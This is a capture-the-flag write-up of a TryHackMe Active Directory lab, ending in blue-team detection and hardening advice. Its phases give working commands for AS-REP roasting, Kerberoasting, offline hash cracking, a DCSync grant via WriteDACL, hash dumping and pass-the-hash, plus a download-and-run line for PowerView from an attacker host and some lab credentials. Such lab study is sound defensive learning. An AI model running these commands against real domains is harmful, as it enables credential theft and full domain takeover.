CTF Writeup — TryHackMe: Active Directory Attacks

Platform: TryHackMe | Difficulty: Hard | Category: Active Directory, Post-Exploitation Room: Attacktive Directory / Vulnnet Active | Author: Matthew Vaishnav

Objective

Compromise a Windows Active Directory domain environment from an initial foothold with no credentials. Escalate through the domain using real-world AD attack techniques to achieve Domain Admin.

Skills Demonstrated: Kerberoasting, AS-REP roasting, pass-the-hash, BloodHound enumeration, lateral movement, DCSync, domain compromise

Phase 1 — Reconnaissance

Nmap

nmap -sV -sC -p- --min-rate 5000 10.10.X.X -oN nmap_full.txt

Key observations:

• Port 88 (Kerberos) confirms this is a Domain Controller
• Port 5985 (WinRM) open — potential remote management access
• Port 389/3268 (LDAP) — enumerable without credentials in some configs

Domain Enumeration (No Credentials)

# Enumerate domain name from LDAP null bind
ldapsearch -x -H ldap://10.10.X.X -b "" -s base namingcontexts
# DC=vulnnet,DC=local

# SMB null session — enumerate shares
enum4linux -a 10.10.X.X
smbclient -L //10.10.X.X/ -N

# Get domain users via Kerbrute (no credentials needed)
kerbrute userenum --dc 10.10.X.X -d vulnnet.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

Phase 2 — AS-REP Roasting (No Credentials Required)

AS-REP roasting targets accounts with Kerberos pre-authentication disabled. These accounts will respond to an AS-REQ with an AS-REP containing an encrypted ticket that can be cracked offline.

impacket-GetNPUsers vulnnet.local/ \
  -dc-ip 10.10.X.X \
  -no-pass \
  -usersfile valid_users.txt \
  -format hashcat \
  -outputfile asrep_hashes.txt

Cracking the Hash

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Credentials obtained: t-skid : tj072889*

Phase 3 — Authenticated Enumeration

With valid low-privilege credentials, enumerate the domain properly.

# Enumerate domain info
impacket-GetADUsers -all -dc-ip 10.10.X.X vulnnet.local/t-skid:tj072889*

# Check SMB shares with credentials
smbclient -L //10.10.X.X/ -U "t-skid%tj072889*"
smbmap -H 10.10.X.X -u t-skid -p 'tj072889*' -d vulnnet.local

Found readable share: \\10.10.X.X\SYSVOL and \\10.10.X.X\Enterprise-Share

smbclient //10.10.X.X/Enterprise-Share -U "t-skid%tj072889*"
smb: \> ls
  PurgeIrrelevantData_1826.ps1   A    580  Mon Mar 22 20:04:39 2021

smb: \> get PurgeIrrelevantData_1826.ps1

Contents contained hardcoded credentials:

$placeHolder = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("..."))
# Decoded: a-whitehat : bNdKVkjv9Yf7XD

Escalated credentials: a-whitehat : bNdKVkjv9Yf7XD

Phase 4 — Kerberoasting

With valid credentials, request service tickets for service accounts. Service ticket hashes can be cracked offline to reveal plaintext passwords.

impacket-GetUserSPNs vulnnet.local/a-whitehat:bNdKVkjv9Yf7XD \
  -dc-ip 10.10.X.X \
  -request \
  -outputfile kerberoast_hashes.txt

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

Service account credentials: svc-backup : sand_1

Phase 5 — BloodHound Enumeration

Collect domain data to find privilege escalation paths visually.

# On attacker — start Neo4j and BloodHound
sudo neo4j start
bloodhound &

# Collect domain data
bloodhound-python -u a-whitehat -p bNdKVkjv9Yf7XD \
  -d vulnnet.local -dc 10.10.X.X \
  -c all \
  --zip

Imported the zip into BloodHound GUI.

Key finding — BloodHound shortest path to Domain Admin:

svc-backup had WriteDACL on the domain object — this means we can grant ourselves DCSync rights, then dump all domain hashes.

Phase 6 — DCSync Attack (Domain Compromise)

Grant DCSync Rights via WriteDACL

# Connect to WinRM as svc-backup
evil-winrm -i 10.10.X.X -u svc-backup -p 'sand_1'

# Import PowerView
IEX(New-Object Net.WebClient).DownloadString('http://10.X.X.X/PowerView.ps1')

# Grant DCSync rights (DS-Replication-Get-Changes-All) to svc-backup
Add-DomainObjectAcl -TargetIdentity "DC=vulnnet,DC=local" `
  -PrincipalIdentity svc-backup `
  -Rights DCSync `
  -Verbose

DCSync — Dump All Hashes

impacket-secretsdump vulnnet.local/svc-backup:sand_1@10.10.X.X

Phase 7 — Pass-the-Hash to Domain Admin

No need to crack the Administrator hash — pass it directly:

evil-winrm -i 10.10.X.X \
  -u Administrator \
  -H 8af7b8db9ddd19b83b13f04d7ace2d4a

Domain fully compromised.

Flags

Full Attack Chain Summary

Lessons Learned & Blue Team Perspective

Why These Worked

Detection Opportunities

AS-REP Roasting:

• Event ID 4768 (TGT request) with pre-authentication type: 0x0
• Alert on AS-REQ without pre-auth from unexpected hosts

Kerberoasting:

• Event ID 4769 (TGS request) with encryption type 0x17 (RC4)
• Service ticket requests for service accounts from non-service machines

DCSync:

• Event ID 4662 with property {1131f6aa...} (DS-Replication-Get-Changes)
• Replication requests originating from non-Domain Controller machines — high severity

Pass-the-Hash:

• Event ID 4624 with Logon Type 3 (network) and Authentication Package NTLM
• Admin logins from unusual source machines

BloodHound collection:

• LDAP query volumes — large amounts of LDAP traffic from a single host
• ldap_search for all objects, groups, and ACLs in short time window

Hardening Recommendations

# Enforce Kerberos pre-authentication on all accounts
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | 
  Set-ADAccountControl -DoesNotRequirePreAuth $false

# Audit service accounts with SPNs and enforce long passwords
Get-ADUser -Filter {ServicePrincipalNames -ne "$null"} -Properties ServicePrincipalNames

# Enable Protected Users security group for privileged accounts
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator"

# Audit ACLs on the domain object
(Get-ACL "AD:\DC=vulnnet,DC=local").Access | 
  Where-Object {$_.ActiveDirectoryRights -match "Replication"}

MITRE ATT&CK Mapping

References

• Impacket Suite
• BloodHound
• HackTricks — Kerberoasting
• MITRE ATT&CK T1558
• Harmj0y — The Most Common Active Directory Attacks